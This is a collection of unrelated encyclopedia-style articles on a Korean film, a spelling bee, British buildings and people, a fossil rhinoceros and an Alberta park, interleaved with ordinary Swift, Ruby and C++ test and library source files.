Ice Rain () is a 2004 South Korean romance drama film starring Lee Sung-jae, Song Seung-heon and Kim Ha-neul. Co-written and directed by first-time director Kim Eun-sook, it tells the story of two mountaineers stranded on a climb to Mount Asiaq in Alaska. While waiting out the storm, they share stories of the women that changed their lives, not knowing how closely connected they actually are.
Cast
Lee Sung-jae as Kang Joong-hyun
Song Seung-heon as Han Woo-sung
Kim Ha-neul as Kim Kyung-min
Yoo Hae-jin as Park In-soo
Kim Jung-hak as Choi Keun-ho
Lee Chun-hee as Choi Byung-hoon
Kim Jin-yi as Kwon Sang-hee
Lee Seung-joon
References
External links
2004 films
2000s Korean-language films
Mountaineering films
Films set in Alaska
South Korean romantic drama films
2004 romantic drama films
2000s South Korean films |
```swift
//
// Deprecated.swift
// RxDataSources
//
// Created by Krunoslav Zaher on 10/8/17.
//
#if os(iOS) || os(tvOS)
extension CollectionViewSectionedDataSource {
@available(*, deprecated, renamed: "configureSupplementaryView")
public var supplementaryViewFactory: ConfigureSupplementaryView? {
get {
return self.configureSupplementaryView
}
set {
self.configureSupplementaryView = newValue
}
}
}
#endif
``` |
The 50th Scripps National Spelling Bee was held in Washington, D.C. at the Mayflower Hotel on June 8–9, 1977 sponsored by the E.W. Scripps Company.
Background
The competition was won by 13-year-old eighth-grader John Paola of Glenshaw, Pennsylvania, correctly spelling "cambist" (a dealer in foreign bills of exchange). Paola had finished 22nd in the prior year's bee, where he missed svengali.
Second place went to 14-year-old Joan O'Leary of Yonkers, New York, who fell on sesquipedalian. Both O'Leary and Paola had missed "futtock" and "yizkor" before "sesquipedalian" came up. Third-place was captured by Joseph Fumic of North Olmsted, Ohio, who misspelled "triage". Fourth place went to Roxanne Taylor of Forest Hills, New York, who misspelled "mecometer".
Frank Neuhauser (then 63), winner of the 1st Bee, was in the audience at the finals.
This year's competition had 94 spellers (another record), with 57 girls and 36 boys. After seven rounds in the first day of competition, the field was reduced to 26, 17 girls and 9 boys.
A taped version of the finals appeared on television on PBS this year (last previously done in the 1974 bee).
References
Scripps National Spelling Bee competitions
1977 in Washington, D.C.
1977 in education
June 1977 events in the United States |
```ruby
require_relative '../spec_helper'
require_relative '../fixtures/classes'
describe "TCPServer#sysaccept" do
before :each do
@server = TCPServer.new(SocketSpecs.hostname, 0)
@port = @server.addr[1]
end
after :each do
@server.close unless @server.closed?
end
it 'blocks if no connections' do
-> { @server.sysaccept }.should block_caller
end
it 'returns file descriptor of an accepted connection' do
begin
sock = TCPSocket.new(SocketSpecs.hostname, @port)
fd = @server.sysaccept
fd.should be_kind_of(Integer)
ensure
sock.close if sock && !sock.closed?
IO.for_fd(fd).close if fd
end
end
end
describe 'TCPServer#sysaccept' do
SocketSpecs.each_ip_protocol do |family, ip_address|
before do
@server = TCPServer.new(ip_address, 0)
end
after do
@server.close
end
describe 'without a connected client' do
it 'blocks the caller' do
-> { @server.sysaccept }.should block_caller
end
end
describe 'with a connected client' do
before do
@client = TCPSocket.new(ip_address, @server.connect_address.ip_port)
end
after do
Socket.for_fd(@fd).close if @fd
@client.close
end
it 'returns a new file descriptor as an Integer' do
@fd = @server.sysaccept
@fd.should be_kind_of(Integer)
@fd.should_not == @client.fileno
end
end
end
end
``` |
The Fielding Johnson Building is the main administrative building for the University of Leicester, Leicester, England. It is a Grade II listed building.
History
The building, which was designed by William Parsons with assistance from George Wallett in the late Georgian provincial style using an early Corridor Plan layout, opened as the Leicestershire and Rutland County Asylum in May 1837. There were 104 original inmates when the asylum first opened. Both wings were extended behind the main block in 1842. After the last inmates transferred to the new Carlton Hayes Hospital, the Leicester and Rutland Asylum closed in September 1908. During the First World War, the building was requisitioned by the War Office to create the 5th Northern General Hospital, a facility for the Royal Army Medical Corps to treat military casualties.
In 1921 the building was acquired by Thomas Fielding Johnson, a local businessman, who gifted it to Leicestershire and Rutland University College on its foundation. The building was home to most of the university departments until purpose-built accommodation was created. It was renamed the Fielding Johnson Building in 1964 and has since become the main administration building of the University of Leicester.
The building now houses the faculty of law and the faculty of criminology.
References
Defunct hospitals in England
Hospitals in Leicestershire
1837 establishments in England
1908 disestablishments in England
Former psychiatric hospitals in England |
Karen S. Evans is a former United States Senate confirmed, Presidential Appointed executive, who served as the first Assistant Secretary for Cybersecurity, Energy Security and Emergency Response at the U.S. Department of Energy. An executive who served in three Presidential Appointed positions in two Administrations.
Ms. Evans currently serves as the Managing Director of the Cyber Readiness Institute.
Education
Ms. Evans holds a Master of Business Administration, a Master of Arts Public History certificate, and a Bachelor of science in Chemistry from West Virginia University.
Career
Ms. Evans previously served as the first Assistant Secretary for Cybersecurity, Energy Security and Emergency Response for the U.S. Department of Energy (DOE). She was sworn in on August 28, 2018, and provided strategic direction, leadership and management to address emerging threats while improving energy infrastructure security and supporting the DOE national security mission.
Prior to being named Assistant Secretary at DOE, Ms. Evans was the national director of the U.S. Cyber Challenge, a public-private partnership focused on building the cyber workforce. She served on the Trump Transition and Landing Teams to develop the management agenda addressing technology initiatives government wide.
Ms. Evans served as the Administrator for the Office of Electronic Government and Information Technology at the Office of Management and Budget (OMB) during the George W. Bush administration. At OMB, she oversaw nearly $71 billion in annual IT funds, including implementation of IT throughout the federal government. Previously, she served as the CIO for DOE and at the director level with both the U.S. Department of Justice and the Farmers Home Administration.
Evans ia a Fellow of the National Academy of Public Administration.
Notes
Year of birth missing (living people)
Living people
Chief information officers
West Virginia University alumni |
Hispanotherium was a genus of rhinoceros of the tribe Elasmotheriini endemic to Europe and Asia during the Miocene living from 16—7.25 mya existing for approximately .
Taxonomy
Hispanotherium was erected by Crusafont and Villalta (1947) for the nominal species "Rhinoceros" matritense. The Asian form Huaqingtherium was once assigned to Hispanotherium, but was eventually recognized as distinct.
References
Miocene rhinoceroses
Miocene mammals of Europe
Prehistoric rhinoceroses |
AmFam may refer to:
American Family Insurance, an American Insurance Company founded in 1927
American Family Fitness, a Richmond, Virginia-based health club founded in 1988 |
Eve of the War is a six-track extended play from the Australian progressive metal band, Alchemist. The EP was released by Shock Records through its subsidiary label Thrust in November 1998. The title track, "Eve of the War" is a cover version of the opening piece from the British 1978 album, Jeff Wayne's Musical Version of The War of the Worlds. The EP has two live songs: "Yoni Kunda" first released on Lunasphere (May 1995), and "Chinese Whispers" from Spiritech (June 1997). The other tracks are a remix of "Yoni Kunda", and two re-mastered tracks from Jar of Kingdom (October 1993). A music video of the title track was provided.
The EP is now deleted, "Eve of the War" and the live version of "Chinese Whispers" were later included on their compilation album, Embryonics (November 2005).
Track listing
Personnel
Alchemist
Adam Agius – vocals, guitar, keyboards
John Bray – bass guitar
Rodney Holder – drums
Roy Torkington – guitar
Other musicians
Josh Nixon – guitar (on track 1)
Mark Rochelle – keyboards
Recording details
Audio engineer – D. W. Norton at Backbeach Studios, Rye, Victoria, June, August 1998
Producer – D. W. Norton, Martin Shepherd (tracks 2–3), Simon (tracks 2–3) at the Disco Playpen
Mixing engineer – Martin Shepherd (track 4)
Audio engineer – Chock (tracks 2–3) at the Gypsy Bar
Tracks 5 and 6 re-mastered from Jar of Kingdom
Artwork details
Roy Torkington – artwork, layout, design
Simon – layout, design
References
Alchemist (band) albums
1998 EPs |
```c++
#include <gtest/gtest.h>
#include <atomic>
#include <barrier>
#include <memory>
#include <random>
#include <functional>
#include <Storages/MergeTree/IExecutableTask.h>
#include <Storages/MergeTree/MergeTreeBackgroundExecutor.h>
using namespace DB;
namespace CurrentMetrics
{
extern const Metric BackgroundMergesAndMutationsPoolTask;
extern const Metric BackgroundMergesAndMutationsPoolSize;
}
std::random_device device;
class FakeExecutableTask : public IExecutableTask
{
public:
explicit FakeExecutableTask(String name_) : generator(device()), distribution(0, 5), name(name_)
{
}
bool executeStep() override
{
auto sleep_time = distribution(generator);
std::this_thread::sleep_for(std::chrono::milliseconds(5 * sleep_time));
auto choice = distribution(generator);
if (choice == 0)
throw TestException();
return false;
}
StorageID getStorageID() const override
{
return {"test", name};
}
void onCompleted() override
{
auto choice = distribution(generator);
if (choice == 0)
throw TestException();
}
Priority getPriority() const override { return {}; }
String getQueryId() const override { return {}; }
private:
std::mt19937 generator;
std::uniform_int_distribution<> distribution;
String name;
};
using StepFunc = std::function<void(const String & name, size_t steps_left)>;
class LambdaExecutableTask : public IExecutableTask
{
public:
explicit LambdaExecutableTask(const String & name_, size_t step_count_, StepFunc step_func_ = {}, Int64 priority_value = 0)
: name(name_)
, step_count(step_count_)
, step_func(step_func_)
, priority{priority_value}
{}
bool executeStep() override
{
if (step_func)
step_func(name, step_count);
return --step_count;
}
StorageID getStorageID() const override
{
return {"test", name};
}
void onCompleted() override {}
Priority getPriority() const override { return priority; }
String getQueryId() const override { return "test::lambda"; }
private:
String name;
size_t step_count;
StepFunc step_func;
Priority priority;
};
TEST(Executor, Simple)
{
auto executor = std::make_shared<DB::MergeTreeBackgroundExecutor<RoundRobinRuntimeQueue>>
(
"GTest",
1, // threads
100, // max_tasks
CurrentMetrics::BackgroundMergesAndMutationsPoolTask,
CurrentMetrics::BackgroundMergesAndMutationsPoolSize
);
String schedule; // mutex is not required because we have a single worker
String expected_schedule = "ABCDEABCDABCDBCDCDD";
std::barrier barrier(2);
auto task = [&] (const String & name, size_t)
{
schedule += name;
if (schedule.size() == expected_schedule.size())
barrier.arrive_and_wait();
};
// Schedule tasks from this `init_task` to guarantee atomicity.
// Worker will see pending queue when we push all tasks.
// This is required to check scheduling properties of round-robin in deterministic way.
auto init_task = [&] (const String &, size_t)
{
executor->trySchedule(std::make_shared<LambdaExecutableTask>("A", 3, task));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("B", 4, task));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("C", 5, task));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("D", 6, task));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("E", 1, task));
};
executor->trySchedule(std::make_shared<LambdaExecutableTask>("init_task", 1, init_task));
barrier.arrive_and_wait(); // Do not finish until tasks are done
executor->wait();
ASSERT_EQ(schedule, expected_schedule);
}
TEST(Executor, RemoveTasks)
{
const size_t tasks_kinds = 25;
const size_t batch = 100;
auto executor = std::make_shared<DB::MergeTreeBackgroundExecutor<RoundRobinRuntimeQueue>>
(
"GTest",
tasks_kinds,
tasks_kinds * batch,
CurrentMetrics::BackgroundMergesAndMutationsPoolTask,
CurrentMetrics::BackgroundMergesAndMutationsPoolSize
);
for (size_t i = 0; i < batch; ++i)
for (size_t j = 0; j < tasks_kinds; ++j)
ASSERT_TRUE(
executor->trySchedule(std::make_shared<FakeExecutableTask>(std::to_string(j))));
std::vector<std::thread> threads(batch);
auto remover_routine = [&] ()
{
for (size_t j = 0; j < tasks_kinds; ++j)
executor->removeTasksCorrespondingToStorage({"test", std::to_string(j)});
};
for (auto & thread : threads)
thread = std::thread(remover_routine);
for (auto & thread : threads)
thread.join();
ASSERT_EQ(CurrentMetrics::values[CurrentMetrics::BackgroundMergesAndMutationsPoolTask], 0);
executor->wait();
}
TEST(Executor, RemoveTasksStress)
{
const size_t tasks_kinds = 25;
const size_t batch = 100;
const size_t schedulers_count = 5;
const size_t removers_count = 5;
auto executor = std::make_shared<DB::MergeTreeBackgroundExecutor<RoundRobinRuntimeQueue>>
(
"GTest",
tasks_kinds,
tasks_kinds * batch * (schedulers_count + removers_count),
CurrentMetrics::BackgroundMergesAndMutationsPoolTask,
CurrentMetrics::BackgroundMergesAndMutationsPoolSize
);
std::barrier barrier(schedulers_count + removers_count);
auto scheduler_routine = [&] ()
{
barrier.arrive_and_wait();
for (size_t i = 0; i < batch; ++i)
for (size_t j = 0; j < tasks_kinds; ++j)
executor->trySchedule(std::make_shared<FakeExecutableTask>(std::to_string(j)));
};
auto remover_routine = [&] ()
{
barrier.arrive_and_wait();
for (size_t j = 0; j < tasks_kinds; ++j)
executor->removeTasksCorrespondingToStorage({"test", std::to_string(j)});
};
std::vector<std::thread> schedulers(schedulers_count);
for (auto & scheduler : schedulers)
scheduler = std::thread(scheduler_routine);
std::vector<std::thread> removers(removers_count);
for (auto & remover : removers)
remover = std::thread(remover_routine);
for (auto & scheduler : schedulers)
scheduler.join();
for (auto & remover : removers)
remover.join();
for (size_t j = 0; j < tasks_kinds; ++j)
executor->removeTasksCorrespondingToStorage({"test", std::to_string(j)});
executor->wait();
ASSERT_EQ(CurrentMetrics::values[CurrentMetrics::BackgroundMergesAndMutationsPoolTask], 0);
}
TEST(Executor, UpdatePolicy)
{
auto executor = std::make_shared<DB::MergeTreeBackgroundExecutor<DynamicRuntimeQueue>>
(
"GTest",
1, // threads
100, // max_tasks
CurrentMetrics::BackgroundMergesAndMutationsPoolTask,
CurrentMetrics::BackgroundMergesAndMutationsPoolSize
);
String schedule; // mutex is not required because we have a single worker
String expected_schedule = "ABCDEDDDDDCCBACBACB";
std::barrier barrier(2);
auto task = [&] (const String & name, size_t)
{
schedule += name;
if (schedule.size() == 5)
executor->updateSchedulingPolicy(PriorityRuntimeQueue::name);
if (schedule.size() == 12)
executor->updateSchedulingPolicy(RoundRobinRuntimeQueue::name);
if (schedule.size() == expected_schedule.size())
barrier.arrive_and_wait();
};
// Schedule tasks from this `init_task` to guarantee atomicity.
// Worker will see pending queue when we push all tasks.
// This is required to check scheduling properties in a deterministic way.
auto init_task = [&] (const String &, size_t)
{
executor->trySchedule(std::make_shared<LambdaExecutableTask>("A", 3, task, 5));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("B", 4, task, 4));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("C", 5, task, 3));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("D", 6, task, 2));
executor->trySchedule(std::make_shared<LambdaExecutableTask>("E", 1, task, 1));
};
executor->trySchedule(std::make_shared<LambdaExecutableTask>("init_task", 1, init_task));
barrier.arrive_and_wait(); // Do not finish until tasks are done
executor->wait();
ASSERT_EQ(schedule, expected_schedule);
}
``` |
Elizabeth Godolphin (baptised in 1663 – 29 July 1726) was a British school founder and benefactor. She is buried in Westminster Abbey. Godolphin School, Salisbury, is named after her.
Life
Her birth date is unknown but she was baptised in 1663 in Coulston, Wiltshire. Her parents were Elizabeth and Francis Godolphin. Her mother's father was John Gayer who had been a Lord Mayor of London. Her mother died in childbirth when she was about four and her father remarried but died when she was seven. He had built what became Baynton House in Coulston. Her uncle Sir William Godolphin became the guardian to her and her brother Francis. Their father had left them an annuity but the bulk of the estate went to his eldest child, William, who was Elizabeth's brother. The younger William died in a duel in 1682, and her brother inherited. When Francis took his own life in 1702, part of the inheritance passed to Elizabeth.
She married her cousin Charles Godolphin (c.1650–1720) in 1687; he was a Member of Parliament for Helston, Cornwall, and held government offices including (from 1691) a post as customs commissioner. The couple lived at St James's Street in Piccadilly. They adopted a relative, Frances (Fanny) Quicke, after their two children (a son and a daughter) died young.
Godolphin School was founded by her using her own money and some from the estate of her husband, the Hon. Charles Godolphin. She created the school originally for the education of eight young orphaned gentlewomen. According to the terms of her will, the students were to be daughters of members of the Church of England, between eight and twelve years of age, born in Salisbury or some other part of Wiltshire, and to have had "some portion left to them but not exceeding £400". The girls were to be taught to "dance, work, read, write, cast accounts and the business of housewifery". The new charity was initially to be administered by her nephew William Godolphin and his heirs; the Dean and Chapter declined to take on the task.
The school did not open its doors until 9 August 1784, when it was based in Rosemary Lane, in the Cathedral Close, Salisbury. In 1789 the school promised a regime of early rising, "agreeable exercise" and a diet of wholesome books "such as enlarge the heart to Virtue and excellency of Sentiment".
Death and legacy
The school dates its foundation to 1726, the year of Godolphin's death. She was buried in Westminster Abbey, joining her husband and their children. The inscription records the terms of her will as set out above. Her husband died several years before this bequest was made.
Every other year, in November, Godolphin School commemorates its founder Elizabeth Godolphin when the Head Girl, accompanied by members of the Upper Sixth, lays a wreath on her tomb in the cloister of Westminster Abbey.
Godolphin School makes available substantial contributions to the fees of some students as part of their founder's legacy.
References
1663 births
1726 deaths
Burials at Westminster Abbey
English women philanthropists
Founders of English schools and colleges
People from Wiltshire |
David Kenneth Holbrook (9 January 1923 – 11 August 2011) was a British writer, poet and academic. From 1989 he was an Emeritus Fellow of Downing College, Cambridge.
Life
David Holbrook was born in Norwich in 1923. He was educated at City of Norwich School and won a scholarship to study English at Downing College, Cambridge for a year in 1941, where he was a pupil of F. R. Leavis. He is sometimes identified as a Leavis disciple, but their relationship was slighter than this might suggest (and also ended angrily, though this is a lesser indication). Holbrook was called up for military service with the British Army in 1942 and served until 1945 as an officer with the East Riding Yeomanry. His novel Flesh Wounds (1966) is a lightly fictionalised account of his D-Day campaign experiences.
In 1945 he returned to Downing to complete his degree, which he did in 1947. In 1946 he made a bleak visit to George Orwell on Jura. The actual reason was to see his girlfriend Susan Watson, who was Orwell's housekeeper, but Orwell assumed it was connected with Holbrook's membership of the Communist Party of Great Britain, and gave him a frosty reception.
After Cambridge, he became an editor with Edgell Rickword, of the communist cultural periodical Our Time. He then took up teaching positions, for the Workers' Educational Association and then at a secondary school in Bassingbourn, Cambridgeshire. He became a full-time writer in the early 1960s. He also renewed links with the University of Cambridge, becoming a Fellow of King's College, Cambridge in 1961, a Fellow of Downing College, Cambridge in 1981 and an Emeritus Fellow of Downing in 1988.
The Associated University Presses marked his seventieth birthday by publishing a Festschrift entitled Powers of Being in October 1995. The book of essays is edited by Edwin Webb, Senior Lecturer in English at the University of Greenwich, and held contributions by sixteen academics and teachers from the United Kingdom, Canada, and the United States, including a portrait written by Boris Ford. In over thirty years his range of publications was prodigious: from `English for Maturity' (1961), his first book on teaching English, to `Creativity and Popular Culture' (1994), he wrote about literature, culture, and education, as well as producing his poetry and his novels. His distinguished literary achievements are suitably celebrated.
He was a Fellow of the English Association.
Works
Novels
Holbrook wrote several novels based on his own life and his family history. These were not Romans à clef—most characters were identified by their real names—but they were closely based on real events without the constraints of veracity. The novels were not written in the internal chronological order.
His first novel, Flesh Wounds (1966), told the story of the escapades of Paul Grimmer (Holbrook's fictionalised persona) as a tank officer in the Normandy invasions. The events of Grimmer's adolescent life up to his enlistment were recounted in A Play of Passion (1978), which told of his involvement with the Maddermarket Theatre and its founder Nugent Monck.
In Going Off The Rails (2003), Holbrook recreates the Edwardian lives of his paternal grandparents in rural Norfolk. His grandfather William built wagons in the Midland and Great Northern Railway workshops at Melton Constable. Holbrook's father worked as a railway booking clerk in North Walsham. He moved to Norwich when he was suspected of theft.
His other novels are Nothing Larger Than Life (1987); Worlds Apart (1988); A Little Athens (1990); Jennifer (1992); The Gold in Father's Heart (1992); Even If They Fail (1994); and Getting It Wrong With Uncle Tom (1998).
Poetry
Imaginings. London: Putnam, 1960 (Reprinted 1961).
Against The Cruel Frost. London: Putnam, 1963.
Object Relations. London: Methuen & Co. Ltd., 1967.
Old World New World. London: Rapp & Whiting, 1969.
Chance of a Lifetime. London: Anvil Press, 1978.
Moments in Italy: Poems and Sketches. Richmond, England: The Keepsake Press (An edition of 280 signed and numbered copies).
Selected Poems: 1961–1978 London: Anvil Press, 1980.
Criticism
The Quest for Love, 1965;
Human Hope and the Death Instinct, 1971;
Sex and Dehumanization, 1972;
The Masks of Hate, 1972;
Dylan Thomas; the Code of Night, 1972;
Gustav Mahler and the Courage to Be, 1975;
Sylvia Plath: Poetry and Existence, 1977;
Lost Bearings in English Poetry, 1977;
Evolution and the Humanities, 1987;
The Novel and Authenticity, 1987;
Further Studies in Philosophical Anthropology, 1988;
Images of Woman in Literature, 1990;
The Skeleton in the Wardrobe: the Phantasies of C.S.Lewis, 1991;
Edith Wharton and the Unsatisfactory Man, 1991;
Where Lawrence Was Wrong About Woman, 1992;
Charles Dickens and the Image of Woman, 1993;
Creativity and Popular Culture, 1994;
Tolstoy, Woman and Death, 1997;
Wuthering Heights: A Drama of Being, 1997;
George MacDonald and the Phantom Woman, 2000;
Lewis Carroll: Nonsense Against Sorrow, 2000
Words for music
Holbrook worked with composer Wilfrid Mellers on a series of works:
Mary Easter (ballad opera, 1957)
The Borderline (opera, 1958)
The Hedge of Flowers , masque (1960)
Dream of the Green Man, after Ronald Johnson, masque 1980
The Pentagle Song for mixed chorus (1981)
Education
English for Maturity (1961) is a guide for secondary school English teachers drawing on Holbrook's experience in that role at Bassingbourn.
His other books on education are English for the Rejected (1964); English in Australia Now (1964); The Exploring Word (1967); Children's Writing (1967); The Secret Places (1972); Education, Nihilism and Survival (1974); Education and Philosophical Anthropology (1987); and English for Meaning (1980).
List of other works
Children's Games (1957)
Imaginings (1961) poems
Lights in the Sky Country: Mary Easter and Stories of East Anglia (1962)
Llareggub Revisited. Dylan Thomas and the state of modern poetry (1962)
Thieves and Angels (1962) editor, school drama
People and Diamonds (1962) editor, school short story anthology
Against the Cruel Frost (1963) poems
Penguin Modern Poets 4 (1963) with Christopher Middleton and David Wevill
English for the Rejected. Training Literacy in the Lower Streams of the Secondary School (1964)
English in Australia Now. Notes on a visit to Victoria and other states (1964)
The Secret Places. Essays on Imaginative Work in English Teaching and on the Culture of the Child (1964)
Dylan Thomas and Poetic Dissociation (1964)
The Quest for Love (1964)
Visions of Life (1964) four volumes, editor, prose comprehension
Iron, Honey, Gold: The Uses of Verse (1965) editor, a poetry anthology
Childhood by Maxim Gorki (1965) abridged, Gertrude M, Foakes translator
Object Relations (1967) poems
The Exploring Word: Creative Disciplines in the Education of Teachers of English (1967)
Children's Writing: a sampler for student teachers (1967)
The Cambridge Hymnal (1967) compiler with Elizabeth Poston
Plucking The Rushes (1968) editor
Old World, New World (1969) poems
Human Hope and the Death Instinct: An Exploration of Psychoanalytical Theories of Human Nature and their Implications for Culture and Education (1971)
The Mask of Hate: The Problem of False Solutions in the Culture of an Acquisitive Society (1972)
Sex & Dehumanization in Art, Thought, and Life in Our Time (1972)
Dylan Thomas; the Code of Night (1972)
The Pseudo-Revolution (1972)
The Case Against Pornography (1973) editor
Education, Nihilism, and Survival (1974)
Gustav Mahler and The Courage To Be (1975)
Sylvia Plath: Poetry and Existence (1976)
A Play of Passion (1977) novel
Lost Bearings in English Poetry (1977)
Chance of a Lifetime (1978) poems
Moments in Italy: Poems and Sketches (1978)
A Play of Passion (1978)
Selected Poems (1980)
English for Meaning (1980)
Nothing Larger Than Life (1987) novel
Evolution and the Humanities (1987)
The Novel and Authenticity (1987)
Education and Philosophical Anthropology: Toward a New View of Man for the Humanities and English (1987)
Worlds Apart (1988) novel
Further Studies in Philosophical Anthropology (1988)
Images of Woman in Literature (1989)
What Is It to Be Human?: New Perspectives in Philosophy (1990)
A Little Athens (1990) novel
The Skeleton in the Wardrobe: C.S. Lewis's Fantasies: A Phenomenological Study (1991)
Edith Wharton and the Unsatisfactory Man (1991)
Where Lawrence Was Wrong About Woman (1992)
Jennifer (1992) novel
Charles Dickens and the Image of Woman (1993)
The Gold In Father's Heart (1992) novel
Creativity and Popular Culture (1994)
Even If They Fail (1994) novel
Tolstoy, Woman, and Death. A Study of War and Peace and Anna Karenina (1997)
Wuthering Heights: A Drama of Being (1997)
Getting It Wrong With Uncle Tom (1998) novel
Bringing Everything Home (1999) poems
A Study of George MacDonald and the Image of Women (2000)
Lewis Carroll: Nonsense Against Sorrow
Bibliography
Holbrook, David. Flesh Wounds (London: Methuen, 1966)
Holbrook, David. A Play of Passion (London: W. H. Allen, 1978) Reprinted Norwich: Mousehold, 2004
Holbrook, David. Going Off The Rails (London: Capella, 2003)
References
Notes
Sources
Holbrook, David. 'F. R. Leavis', Downing Association Newsletter 1996 (1996) Retrieved 18 April 2005
'David Holbrook', Downing College Fellows (May 2000) Retrieved 18 April 2005
'Going Off The Rails', Capella Archive Catalogue (2003) Retrieved 18 April 2005
Edwin Webb, editor (1995) Powers of Being: David Holbrook and His Work
External links
Obituary of David Holbrook, The Daily Telegraph, 17 October, 2011
English literary critics
1923 births
2011 deaths
Alumni of Downing College, Cambridge
Fellows of Downing College, Cambridge
Fellows of King's College, Cambridge
British Army personnel of World War II
Communist Party of Great Britain members
People educated at the City of Norwich School
Writers from Norwich
East Riding of Yorkshire Yeomanry officers
British male poets
English male novelists
20th-century English poets
20th-century English novelists
Fellows of the English Association |
Lakeland Provincial Park and Lakeland Provincial Recreation Area are located east of Lac La Biche, Alberta, Canada, in Lac La Biche County.
The park contains numerous lakes, such as Kinnaird, Jackson, McGuffin, Dabbs, Shaw, and Blackett, as well as many other smaller waterbodies. The Lakeland Provincial Recreation Area contains Pinehurst Lake, Seibert, Touchwood and Ironwood Lakes.
Park planning and development
Planning the provincial park
Discussions of Lakeland Provincial Park were ongoing for decades before the park was designated in 1992. During the 1960s and 1970s the region was under consideration as a public recreation area. Increasing use led to the construction of small-scale facilities by the provincial Department of Highways and the Forest Service. In 1972 a park reservation was created from Lac La Biche to Cold Lake, which includes the areas now in Lakeland Provincial Park. By the late 1980s, the existing facilities were facing substantial use pressures. Reports from the provincial government described the recreational infrastructure as "minimal" and suggested improving the "limited road access." Discussing the park's potential, the then Deputy Minister of Renewable Resources stated:
The proposed Pinehurst-Seibert-Touchwood Park has by far the greatest potential for a wide variety of water based recreation activities in Alberta. The excellent beaches on the larger lakes [Pinehurst, Seibert, Touchwood, and Spencer] provide focal points for intensive use camping, boating, swimming and fishing. These lakes have carrying capacities for large numbers of people. The Jackson-Kinnaird-Blackett area has natural potential for wilderness canoeing, hiking, and sportfishing. The Sand River and its tributaries have very good potential for canoe and trail routes. The upland areas are prime wildlife habitat and provide abundant opportunities for dispersed recreation such as viewing, photography, hiking, nature study and hunting.
In 1975 a government task force was struck to provide Premier Peter Lougheed with management options pertaining to resource conflicts in the area. The Minister of Lands and Forests, Allan Warrack felt a formal recommendation to establish the park could be submitted for government consideration in 1976.
Announcing the park
One of the most vocal proponents of the proposed park was the nearby town of Lac La Biche. The town felt significant job growth and tourist revenue would stem from the creation of the park. The public announcement, in January 1992, that the park proposal had been accepted garnered positive reaction from the community. Mayor Tom Maccagno and MLA for Athabasca-Lac La Biche Mike Cardinal jointly made the announcement at a local fish fry, which was being held to celebrate the creation of Lakeland. At the announcement, the Honourable Mike Cardinal announced the park could attract "up to one million tourists annually."
Developing the park
The facilities at Lakeland Provincial Park were constructed in part by First Nation and Métis prison inmates. During the early 1990s the Government of Alberta was experimenting with changes to the criminal justice system that would bring more Métis and First Nation individuals into policing and legal roles, including judges and justices of the peace. Another component of this program included putting convicted First Nation and Métis inmates to work. An inmate camp was constructed at Lac La Biche, and prisoners were used to construct trails and facilities in the park.
Hydrology
Drainage basins
The Lakeland area straddles two drainage basins, and is thus drained by two major river systems, the Athabasca and the Beaver-Churchill. The Athabasca River drainage basin is the second largest drainage basin in Alberta. It drains 5 of the major lakes in the north-west section of the Lakeland area, including Blackett, Dabbs, Kinnaird, and McGuffin lakes, which all flow into Jackson Lake. Jackson Lake is drained by Gull Creek, which ultimately flows into the Piche River, which in turn joins the Owl River, then Lac La Biche, the La Biche River, and ultimately, into the Athabasca River and on to the Arctic Ocean.
The other major lakes, in the south-east section of the Lakeland area, are in the Sand River sub-basin. Spencer and Seibert Lakes are drained by a small unnamed creek, while Punk Creek drains Pinehurst Lake. Water from Touchwood Lake also enters Pinehurst Lake through a small creek. Water from the area flows into the Sand River from Helena Lake, into Horne Lake, then Ironwood Lake, and in turn Rich Lake. The Sand River enters the Beaver River and flows to Hudson Bay through the Churchill system.
Lakes of Lakeland Provincial Park
Black Duck Lake is translated from the Cree Kuskutesip Sagahegan. It is unclear on the exact species of duck the name refers to. The lake often ices over in early October, and is thought to be too shallow to contain fish.
Blackett Lake is at the same elevation as nearby Kinnaird and Jackson Lakes, and is connected to the other bodies of water by small streams. Local First Nation groups and early settlers understood and conceptualized the three lakes as one large body of water. The Blackett name is likely taken from a group of early settlers, who may have been fleeing legal trouble stemming from the Yukon Gold Rush.
Brown Lake is one of the least accessible, and seldom visited, lakes in the park. No fish currently inhabit the lake, although local memory indicates there may have once been a self-sustaining population. Brown Lake is quite shallow, and possibly only connected to nearby lakes through groundwater. At high water levels, Brown Lake may spill into adjoining Helena Lake. Little information exists on the origin of the "Brown Lake" name, although it is suspected to not be of local origin.
Dabbs Lake is named after Pilot Officer H. E. Dabbs, who died during World War II. The Cree name for the lake is Hamschigosik Sagahegan, translated as Little Island Lake. The shoreline of Dabbs Lake is dominated by white spruce, and the lake is connected to Kinnaird Lake via a small creek. Dabbs Lake is divided into two basins, with a maximum depth of in the deeper, north basin.
Jackson Lake has relatively high shores, dominated by cattails, willows, black spruce, aspen poplar, and white spruce vegetation. The lake is named after a family with the surname Jackson, originally from North Dakota, that homesteaded on nearby Fork Lake in the 1930s. Likely, members of that family trapped on Jackson Lake in the winter.
Jackson Lake, as well as Kinnaird and Blackett Lakes, are at the same altitude and connected by narrow bodies of water or small streams. Collectively, the three lakes had the Cree name Maniwansik. Similarly, commercial fishermen in the 1920s and 1930s referred to the lakes collectively as Egg Lakes. It is believed that Jackson and Kinnaird Lakes formed the basin of a single, larger lake, until a pressure ridge was pushed up by ice over an existing sandbar.
Kinnaird Lake is one of the largest lakes within the provincial park. It was named after D. G. Kinnaird, a homesteader in the region. The name was made official in 1921, although it may have originally appeared as Canard. Kinnaird Lake has been commercially fished since the 1920s. There is significant algae and summer plant growth in Jackson Lake, with thin shorelines and very tall grasses.
McGuffin Lake is one of the smaller lakes in the park. It is named after Squadron Leader W. C. McGuffin, of Calgary, who was killed during World War II. The Cree name for the lake was Kamshttigowa, while local residents had previously called McGuffin Lake Island Lake. McGuffin Lake drains into Jackson Lake via a small creek.
Shaw Lake is one of the smallest lakes within Lakeland Provincial Park. It is the only lake with a road-accessible public recreation area on its shores. Shaw Lake was likely named after J. P. Shaw, a commercial fisherman from the area active in the 1930s. The lake has the characteristics of a large slough, with marshy shores and two distinct basins. Shaw Lake appears to have once been commercially fished, although is now subject to frequent winterkill.
